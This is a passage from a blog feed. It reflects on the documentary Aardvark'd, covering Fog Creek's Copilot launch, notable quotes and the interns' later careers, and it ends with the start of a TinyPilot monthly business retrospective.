 srcset='https://mtlynch.io/aardvarkd/fog-creek-copilot_hu_189e702101473f15.webp 300w, https://mtlynch.io/aardvarkd/fog-creek-copilot_hu_832f52c23df82f8d.webp 600w, https://mtlynch.io/aardvarkd/fog-creek-copilot_hu_617b3d35b93f10ee.webp 800w, https://mtlynch.io/aardvarkd/fog-creek-copilot.webp 1180w'
 src="https://mtlynch.io/aardvarkd/fog-creek-copilot.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://web.archive.org/web/20080829161613/https://www.copilot.com/">Fog Creek Copilot&lt;/a> let people provide remote computer assistance to friends, family, and co-workers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So, it&amp;rsquo;s the end of the internship, and Fog Creek is finally launching Copilot. This is the make-or-break moment for all the work we&amp;rsquo;ve watched the interns do throughout the movie.&lt;/p>
&lt;p>The interns and employees compete to predict when their first sale will come through. Some guessed it would happen within a minute of launch, while others thought it might take up to an hour.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/sale-predictions.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/sale-predictions_hu_30e9ab50d557fe15.webp 300w, https://mtlynch.io/aardvarkd/sale-predictions_hu_1b0e25fca7bf367d.webp 600w, https://mtlynch.io/aardvarkd/sale-predictions_hu_77404a4bfab2586f.webp 800w, https://mtlynch.io/aardvarkd/sale-predictions_hu_69d5368c0ae109e9.webp 1200w, https://mtlynch.io/aardvarkd/sale-predictions.webp 1280w'
 src="https://mtlynch.io/aardvarkd/sale-predictions.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Fog Creek employees and interns make optimistic predictions about the first sale of Copilot&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>But the sale doesn&amp;rsquo;t come. As each minute rolls by, the interns glumly cross out predictions that turned out to be too optimistic. You&amp;rsquo;re watching the team grow increasingly worried that their product might be a complete flop.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/cross-off.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/cross-off_hu_351467dd7d6f0cb.webp 300w, https://mtlynch.io/aardvarkd/cross-off_hu_7d81b87c63f813a1.webp 600w, https://mtlynch.io/aardvarkd/cross-off_hu_2399c214278dc0bd.webp 800w, https://mtlynch.io/aardvarkd/cross-off_hu_a369b045ab7bf8e3.webp 1200w, https://mtlynch.io/aardvarkd/cross-off.webp 1280w'
 src="https://mtlynch.io/aardvarkd/cross-off.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/waiting.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/waiting_hu_322734d9f1d36648.webp 300w, https://mtlynch.io/aardvarkd/waiting_hu_f5b645b7a84fcd1c.webp 600w, https://mtlynch.io/aardvarkd/waiting_hu_62dfdd29b12f42de.webp 800w, https://mtlynch.io/aardvarkd/waiting_hu_688a4970bb230ae7.webp 1200w, https://mtlynch.io/aardvarkd/waiting.webp 1280w'
 src="https://mtlynch.io/aardvarkd/waiting.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Fog Creek interns anxiously awaiting their first customer&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>As a founder, I found this moment extremely relatable. There have been so many times where I put weeks or months of work into something that I was sure people would love. Then, I launched it only to discover that I was completely wrong and nobody was interested.&lt;/p>
&lt;p>But the thing about failed software launches is that the failure isn&amp;rsquo;t a moment — it&amp;rsquo;s the minutes then hours after launch as hope drains away. Even if you don&amp;rsquo;t get the results you want immediately, there&amp;rsquo;s a desperate possibility that it could land on the front page of Hacker News or fall into the lap of someone with a huge audience. But every minute that ticks by, you know your chances of success are creeping ever closer to zero.&lt;/p>
&lt;p>The documentary does a great job of capturing that anxiously ambiguous time for the Fog Creek interns. And then it just&amp;hellip; forgets what it was doing.&lt;/p>
&lt;p>There&amp;rsquo;s no resolution whatsoever! We cut to the next scene, and Joel is popping champagne. It&amp;rsquo;s not even clear if there&amp;rsquo;s been a sale or if they&amp;rsquo;re just celebrating the launch. You never see anyone sighing in relief or admitting defeat.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/joel-champagne.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/joel-champagne_hu_5251334b18056f3b.webp 300w, https://mtlynch.io/aardvarkd/joel-champagne_hu_1b4197644705a0e.webp 600w, https://mtlynch.io/aardvarkd/joel-champagne_hu_f2573ba2f11b24c3.webp 800w, https://mtlynch.io/aardvarkd/joel-champagne_hu_65a9d7010b23f073.webp 1200w, https://mtlynch.io/aardvarkd/joel-champagne.webp 1280w'
 src="https://mtlynch.io/aardvarkd/joel-champagne.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What are we celebrating, exactly?&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It would be like if you ended the story of Little Red Riding Hood by saying, &amp;ldquo;And then Little Red Riding Hood realized her grandmother was a wolf! Suddenly, the wolf threw her to the floor and bared his razor-sharp teeth inches from her neck. Anyway, she ended up being fine. The End.&amp;rdquo;&lt;/p>
&lt;h2 id="quotable-moments">Quotable moments&lt;/h2>
&lt;p>The documentary&amp;rsquo;s interviews are fun overall, but a couple of quotes delighted me.&lt;/p>
&lt;h3 id="paul-graham-on-developers-and-businesspeople">Paul Graham, on developers and businesspeople&lt;/h3>
&lt;blockquote>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/graham-no-business-guys.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/graham-no-business-guys_hu_7be21f20c46cf63a.webp 300w, https://mtlynch.io/aardvarkd/graham-no-business-guys_hu_ce4da3130e7bfd29.webp 600w, https://mtlynch.io/aardvarkd/graham-no-business-guys_hu_cff02a986d012ad4.webp 800w, https://mtlynch.io/aardvarkd/graham-no-business-guys_hu_b1c969a839c9ea83.webp 1200w, https://mtlynch.io/aardvarkd/graham-no-business-guys.webp 1280w'
 src="https://mtlynch.io/aardvarkd/graham-no-business-guys.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I think the relationship between hackers and business guys — at least in the beginning — is that you need hackers, and you don&amp;rsquo;t need business guys.&lt;/p>
&lt;p>-Paul Graham&lt;/p>&lt;/blockquote>
&lt;h3 id="aaron-swartz-on-schoolwork-vs-hobby-projects">Aaron Swartz, on schoolwork vs. hobby projects&lt;/h3>
&lt;blockquote>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/aardvarkd/aaron-swartz.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/aaron-swartz_hu_d1b922d4ed411e59.webp 300w, https://mtlynch.io/aardvarkd/aaron-swartz_hu_fde6b96a50ab09c0.webp 600w, https://mtlynch.io/aardvarkd/aaron-swartz_hu_9039c18fa8eabd91.webp 800w, https://mtlynch.io/aardvarkd/aaron-swartz_hu_7ae0d7a3897961c9.webp 1200w, https://mtlynch.io/aardvarkd/aaron-swartz.webp 1280w'
 src="https://mtlynch.io/aardvarkd/aaron-swartz.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You don&amp;rsquo;t have to be in this fake world of school doing some silly assignment that has no real purpose. You can build something that&amp;rsquo;s actually useful. You can go put it up on your website, and people can really use it. If you can build something real, why spend your life doing stuff that&amp;rsquo;s fake?&lt;/p>
&lt;p>-Aaron Swartz&lt;/p>&lt;/blockquote>
&lt;h2 id="fog-creek-didnt-finance-the-documentary">Fog Creek didn&amp;rsquo;t finance the documentary&lt;/h2>
&lt;p>In researching the documentary, one of the big surprises was that Fog Creek didn&amp;rsquo;t finance it.&lt;/p>
&lt;p>I had remembered &lt;em>Aardvark&amp;rsquo;d&lt;/em> as essentially a vanity project that Fog Creek funded as advertising. Re-reading the &lt;a href="https://www.joelonsoftware.com/2005/03/23/documentary-filmmaker-wanted/">job posting&lt;/a>, I realized it was more of an angel investor model:&lt;/p>
&lt;blockquote>
&lt;p>We’re looking for a filmmaker who will finance and make the film themselves and own the rights. We want someone who can promote the film to typical documentary outlets.&lt;/p>&lt;/blockquote>
&lt;p>Spolsky said in his blog that he paid the filmmaker a $5k stipend and $5k for expenses. In &lt;a href="https://web.archive.org/web/20230712203549/https://www.inc.com/magazine/20080101/how-hard-could-it-be-the-four-pillars-of-organic-growth.html">a later column&lt;/a> he wrote for &lt;em>Inc.&lt;/em> magazine, he says, &amp;ldquo;We ended up paying the filmmaker about $30,000.&amp;rdquo;&lt;/p>
&lt;p>Letting an external filmmaker assume ownership worked, apparently.&lt;/p>
&lt;p>Fog Creek no longer cares about Copilot or &lt;em>Aardvark&amp;rsquo;d&lt;/em>. They&amp;rsquo;ve taken &lt;a href="https://web.archive.org/web/20060208042202/http://www.projectaardvark.com/">the interns&amp;rsquo; development blog&lt;/a> offline, and Joel has let many of the Copilot links on his blog die, but the filmmaker still cared enough about &lt;em>Aardvark&amp;rsquo;d&lt;/em> to upload a high-def copy to YouTube 18 years later.&lt;/p>
&lt;h2 id="the-artifacts-of-aardvark">The artifacts of Aardvark&lt;/h2>
&lt;p>After Fog Creek released Copilot, Joel Spolsky &lt;a href="https://www.joelonsoftware.com/2005/08/17/the-project-aardvark-spec/">published the original functional spec&lt;/a>. The link to the actual PDF is now dead, but the Internet Archive &lt;a href="https://web.archive.org/web/20051028171624/https://www.joelonsoftware.com/RandomStuff/copilot_spec.pdf">has a copy&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/aardvarkd/aardvark-spec.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/aardvark-spec_hu_caa8e635771bc744.webp 300w, https://mtlynch.io/aardvarkd/aardvark-spec_hu_368fd88336077ded.webp 600w, https://mtlynch.io/aardvarkd/aardvark-spec_hu_6e0d09561334b44.webp 800w, https://mtlynch.io/aardvarkd/aardvark-spec.webp 897w'
 src="https://mtlynch.io/aardvarkd/aardvark-spec.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Joel Spolsky&amp;rsquo;s &lt;a href="https://web.archive.org/web/20051028171624/https://www.joelonsoftware.com/RandomStuff/copilot_spec.pdf">original functional spec&lt;/a> for Fog Creek Copilot (codename Aardvark)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Fog Creek adapted open-source VNC code for the Copilot client, so they were required under the &lt;a href="https://en.wikipedia.org/wiki/GNU_General_Public_License">GPL&lt;/a> to publish their source code.&lt;/p>
&lt;p>I unfortunately couldn&amp;rsquo;t find the source code for the original version of Copilot that the interns wrote. The &lt;a href="https://web.archive.org/web/20150911071232/https://www.copilot.com/copilot_helper_src.zip/">earliest version I could find&lt;/a> was from 2011. By that point, they had rewritten the C# codebase in C++.&lt;/p>
&lt;h2 id="what-happened-to-the-interns">What happened to the interns?&lt;/h2>
&lt;p>&lt;a href="https://tghw.com">Tyler Griffin Hicks-Wright&lt;/a> accepted a full-time position at Fog Creek after his internship and worked there for several years. He left in 2012 to start a photo backup startup called Snaposit. He sought funding from his &lt;em>Aardvark&amp;rsquo;d&lt;/em> co-star, Paul Graham, but &lt;a href="https://web.archive.org/web/20240529135543/https://tghw.com/blog/well-that-sucks-what-else-you-got">Y Combinator rejected Tyler&amp;rsquo;s pitch&lt;/a>. Tyler shuttered the business a year later.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/tyler-2005.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/tyler-2005_hu_5dec697113399138.webp 300w, https://mtlynch.io/aardvarkd/tyler-2005_hu_9832ba71d7ea5c74.webp 600w, https://mtlynch.io/aardvarkd/tyler-2005_hu_64df53879a73d43.webp 800w, https://mtlynch.io/aardvarkd/tyler-2005_hu_c7de6884be30e3cc.webp 1200w, https://mtlynch.io/aardvarkd/tyler-2005.webp 1280w'
 src="https://mtlynch.io/aardvarkd/tyler-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Tyler Griffin Hicks-Wright, software development intern on Aardvark&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In 2014, Fog Creek restructured to spin out &lt;a href="https://en.wikipedia.org/wiki/Trello">Trello&lt;/a>, its ultra-successful project management app. As part of the restructuring, Fog Creek sold the Copilot product to Tyler &lt;a href="https://web.archive.org/web/20240412135226/https://tghw.com/blog/copilot-coming-full-circle">for an undisclosed sum&lt;/a>. He ran Copilot on the side for eight years before &lt;a href="https://news.ycombinator.com/item?id=31192812">shutting it down in April 2022&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://twitter.com/mikelehen">Michael Lehenbauer&lt;/a> took a job at Microsoft after his &lt;em>Aardvark&amp;rsquo;d&lt;/em> internship. He left in 2011 to join Firebase as employee #2, which I can only assume means he&amp;rsquo;s now relaxing on a superyacht somewhere.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/michael-2005.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/michael-2005_hu_a83edf75d126d5a2.webp 300w, https://mtlynch.io/aardvarkd/michael-2005_hu_deef5efe423389c8.webp 600w, https://mtlynch.io/aardvarkd/michael-2005_hu_96f8b8bd46606ba0.webp 800w, https://mtlynch.io/aardvarkd/michael-2005_hu_12dd3fad5e5905b0.webp 1200w, https://mtlynch.io/aardvarkd/michael-2005.webp 1280w'
 src="https://mtlynch.io/aardvarkd/michael-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Michael Lehenbauer, software development intern on Aardvark&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;a href="https://www.bitquabit.com/meta/about/">Ben Pollack&lt;/a> worked at Fog Creek for several years. He seems to have &lt;del>never caught the startup bug&lt;/del> (&lt;strong>Edit&lt;/strong>: Ben &lt;a href="https://news.ycombinator.com/item?id=37435723">responded&lt;/a> to say that he has worked mainly at startups, though not as early-stage as Fog Creek), mainly working at larger, more established companies. He has followed in Joel&amp;rsquo;s footsteps in blogging, as he writes regularly about software, technology, and his passion for functional programming, sometimes engaging in &lt;a href="https://web.archive.org/web/20090523175306/http://hicks-wright.net/blog/my-language-features-are-your-libraries/">geeky online arguments with Tyler&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/ben-2005.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/ben-2005_hu_62d7cadaf4544c40.webp 300w, https://mtlynch.io/aardvarkd/ben-2005_hu_b10222e32b47978e.webp 600w, https://mtlynch.io/aardvarkd/ben-2005_hu_d67419fb44f8275e.webp 800w, https://mtlynch.io/aardvarkd/ben-2005_hu_dd0f1388afdd894a.webp 1200w, https://mtlynch.io/aardvarkd/ben-2005.webp 1280w'
 src="https://mtlynch.io/aardvarkd/ben-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Ben Pollack, software development intern on Aardvark&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;a href="https://www.yaronguez.com/">Yaron Guez&lt;/a> worked for several medtech and enterprise-y SaaS businesses. He&amp;rsquo;s the co-founder of &lt;a href="https://www.trestian.com/#about">a buzzwordy consulting firm&lt;/a> and a dev manager at &lt;a href="https://www.servicenow.com">ServiceNow&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/aardvarkd/yaron-2005.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/yaron-2005_hu_20128daaadae0af4.webp 300w, https://mtlynch.io/aardvarkd/yaron-2005_hu_1dcdbba84333412e.webp 600w, https://mtlynch.io/aardvarkd/yaron-2005_hu_dd667b848dc17025.webp 800w, https://mtlynch.io/aardvarkd/yaron-2005_hu_f44403a5fb6a91e1.webp 1200w, https://mtlynch.io/aardvarkd/yaron-2005.webp 1280w'
 src="https://mtlynch.io/aardvarkd/yaron-2005.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Yaron Guez, project management intern on Aardvark&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="liz-gordons-satisfying-career-trajectory">Liz Gordon&amp;rsquo;s satisfying career trajectory&lt;/h2>
&lt;p>One of the most affable characters in &lt;em>Aardvark&amp;rsquo;d&lt;/em> is Liz Gordon, Fog Creek&amp;rsquo;s then recently-hired office manager.&lt;/p>
&lt;p>Liz is presented in the film as the non-nerd outsider at Fog Creek. She ends up having to coddle and indulge a bunch of college interns, most of whom have somewhat inflated egos as subjects of a documentary.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/aardvarkd/liz-gordon-laughing.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/liz-gordon-laughing_hu_318cf849099d7ac.webp 300w, https://mtlynch.io/aardvarkd/liz-gordon-laughing_hu_3a4a14e90e2b1116.webp 600w, https://mtlynch.io/aardvarkd/liz-gordon-laughing_hu_d11218003c68635d.webp 800w, https://mtlynch.io/aardvarkd/liz-gordon-laughing_hu_1748cf250cfc89f.webp 1200w, https://mtlynch.io/aardvarkd/liz-gordon-laughing.webp 1280w'
 src="https://mtlynch.io/aardvarkd/liz-gordon-laughing.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“There&amp;rsquo;s always a better way to do something, and that&amp;rsquo;s what [the interns] are always trying to figure out&amp;hellip; what star trooper is going to kick some other superhero&amp;rsquo;s butt, and how they&amp;rsquo;re going to do it. Or what&amp;rsquo;s the best way to use a lightsaber.” -Liz Gordon&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In one scene, she&amp;rsquo;s being interviewed on her birthday. Nobody remembered, so she had to buy herself a birthday hat. While she&amp;rsquo;s explaining this to the camera, one of her co-workers &lt;em>shushes&lt;/em> her for making too much noise. On her birthday!&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/aardvarkd/liz-gordon-shush.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/liz-gordon-shush_hu_98843b30cb3443b7.webp 300w, https://mtlynch.io/aardvarkd/liz-gordon-shush_hu_da9aa7d5efba3e02.webp 600w, https://mtlynch.io/aardvarkd/liz-gordon-shush_hu_e7885c6b1cf35f01.webp 800w, https://mtlynch.io/aardvarkd/liz-gordon-shush_hu_b533dfc097c4695b.webp 1200w, https://mtlynch.io/aardvarkd/liz-gordon-shush.webp 1280w'
 src="https://mtlynch.io/aardvarkd/liz-gordon-shush.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Liz Gordon being shushed on her birthday at the Fog Creek office&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It turns out Liz stuck with Fog Creek and rose along with the company, eventually taking on the role of Head of People.&lt;/p>
&lt;p>When Fog Creek spun out Trello into its own company, Liz became Trello&amp;rsquo;s VP of People and retained the position when Atlassian acquired Trello.&lt;/p>
&lt;p>She&amp;rsquo;s now &lt;a href="https://www.linkedin.com/in/elizabeth-hall-8939551b/">Liz Hall&lt;/a> and is a C-suite executive at &lt;a href="https://splashthat.com">Splash&lt;/a>, where I presume nobody tries to shush her on her birthday.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/aardvarkd/liz-hall.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/liz-hall_hu_53867a47f1c004ad.webp 300w, https://mtlynch.io/aardvarkd/liz-hall_hu_81d36c0f6b1d340c.webp 600w, https://mtlynch.io/aardvarkd/liz-hall_hu_3b8c83a8246247fd.webp 800w, https://mtlynch.io/aardvarkd/liz-hall.webp 916w'
 src="https://mtlynch.io/aardvarkd/liz-hall.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Liz Hall is now Chief People Officer at Splash.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;strong>Edit&lt;/strong>: According to &lt;a href="https://news.ycombinator.com/item?id=37435723">a comment from Ben Pollack&lt;/a> in response to this post, the sound was not actually a &amp;ldquo;shush&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>this coworker right here was starting to say &amp;ldquo;shit fuck shit dammit&amp;rdquo; on camera as he discovered that a stale precompiled header was getting picked up on the build box and then realized Lerone was rolling, so you&amp;rsquo;re hearing me halt myself before saying a pile of profanity on camera.&lt;/p>&lt;/blockquote>
&lt;h2 id="make-better-software-the-training-series">&lt;em>Make Better Software: The Training Series&lt;/em>&lt;/h2>
&lt;p>Five years later, Fog Creek collaborated once again with &lt;em>Aardvark&amp;rsquo;d&lt;/em> producer, Boondoggle Media, on a video course called &lt;a href="https://web.archive.org/web/20250210182213/https://boondogglemedia.com/project/make-better-software/">&lt;em>Make Better Software: The Training Series&lt;/em>&lt;/a>. Fog Creek &lt;a href="https://web.archive.org/web/20110711014829/http://training.fogcreek.com/order.html">used to sell this course&lt;/a> for $2,000, but now Boondoggle Media has released it &lt;a href="https://www.youtube.com/playlist?list=PLcIkt5s7w8D0ywp0CBmNFWRTFZic3pWNn">free on YouTube&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m watching it, and it&amp;rsquo;s pretty good. It&amp;rsquo;s kind of like a video version of Joel Spolsky&amp;rsquo;s best blog posts. The series shows how Joel puts his many software philosophies into practice at Fog Creek.&lt;/p>
&lt;p>Most of the Fog Creek characters from &lt;em>Aardvark&amp;rsquo;d&lt;/em> are still there. You get to see slightly more grown-up versions of Tyler and Ben, who had at that point had several years of real-world experience.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/aardvarkd/tyler-later.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/tyler-later_hu_29c0673f53933a44.webp 300w, https://mtlynch.io/aardvarkd/tyler-later_hu_faae29845ae99292.webp 600w, https://mtlynch.io/aardvarkd/tyler-later_hu_7c97aa586a24b0d7.webp 800w, https://mtlynch.io/aardvarkd/tyler-later_hu_e98a620886fcfeec.webp 1200w, https://mtlynch.io/aardvarkd/tyler-later.webp 1221w'
 src="https://mtlynch.io/aardvarkd/tyler-later.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 441px">



 &lt;a href="https://mtlynch.io/aardvarkd/ben-later.webp">
 &lt;img
 
 sizes="(min-width: 768px) 441px, 98vw"
 srcset='https://mtlynch.io/aardvarkd/ben-later_hu_5260ca540b3fd16f.webp 300w, https://mtlynch.io/aardvarkd/ben-later_hu_30d70dbdf34b2b68.webp 600w, https://mtlynch.io/aardvarkd/ben-later_hu_69aec0eeedd83cff.webp 800w, https://mtlynch.io/aardvarkd/ben-later.webp 808w'
 src="https://mtlynch.io/aardvarkd/ben-later.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Tyler (left) and Ben (right) appear as full-time Fog Creek employees in &lt;em>Make Better Software&lt;/em> five years after the filming of &lt;em>Aardvark&amp;rsquo;d&lt;/em>.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="watch-the-films">Watch the films&lt;/h2>
&lt;p>Both movies are available for free on YouTube. If you&amp;rsquo;re a fan of Joel Spolsky, Paul Graham, or Aaron Swartz, I think &lt;em>Aardvark&amp;rsquo;d&lt;/em> is worth a watch.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=YbrkZ07LKbk">&lt;em>Aardvark&amp;rsquo;d: 12 Weeks with Geeks&lt;/em>&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And if you&amp;rsquo;re a superfan of Joel Spolsky&amp;rsquo;s blog, &lt;a href="https://www.joelonsoftware.com/">Joel on Software&lt;/a>, you&amp;rsquo;ll enjoy &lt;em>Make Better Software&lt;/em>.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/playlist?list=PLcIkt5s7w8D0ywp0CBmNFWRTFZic3pWNn">&lt;em>Make Better Software: The Training Series&lt;/em>&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 37</title><link>https://mtlynch.io/retrospectives/2023/08/</link><pubDate>Tue, 15 Aug 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/08/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I think through what it would take to add recurring subscriptions for TinyPilot Pro.&lt;/li>
&lt;li>I&amp;rsquo;ve done some more exploration into &lt;a href="https://nixos.org/">Nix&lt;/a> for managing development environments.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs seven other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I think through what it would take to add recurring subscriptions for TinyPilot Pro.&lt;/li>
&lt;li>I&amp;rsquo;ve done some more exploration into &lt;a href="https://nixos.org/">Nix&lt;/a> for managing development environments.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="reach-98k-in-sales-revenue">Reach $98k in sales revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Revenue dropped 10% to $84k&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>Our revenue dropped even though we had several new positive reviews:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=ceWNyZno7FI">RaidOwl&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtu.be/QsTAKeK0M4s">Home Network Guy&lt;/a> (and accompanying &lt;a href="https://homenetworkguy.com/review/remote-control-a-pc-or-server-with-tinypilot-voyager-2a/">blog post&lt;/a>)&lt;/li>
&lt;li>&lt;a href="https://blog.networkprofile.org/tinypilot-2a/">Network Profile&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtu.be/E94A6EasaSs">Botio Studio&lt;/a> (Chinese)&lt;/li>
&lt;/ul>
&lt;p>We lost a chunk of sales because Amazon downranked our listings through their Kafkaesque account health policies. We&amp;rsquo;re now back in their good graces, and sales have picked up again.&lt;/p>
&lt;p>I&amp;rsquo;ve also heard from other founders that they see a regular summer slump around this time. And TinyPilot indeed had an &lt;a href="https://mtlynch.io/retrospectives/2022/08/">11% revenue drop in July 2022&lt;/a>.&lt;/p>
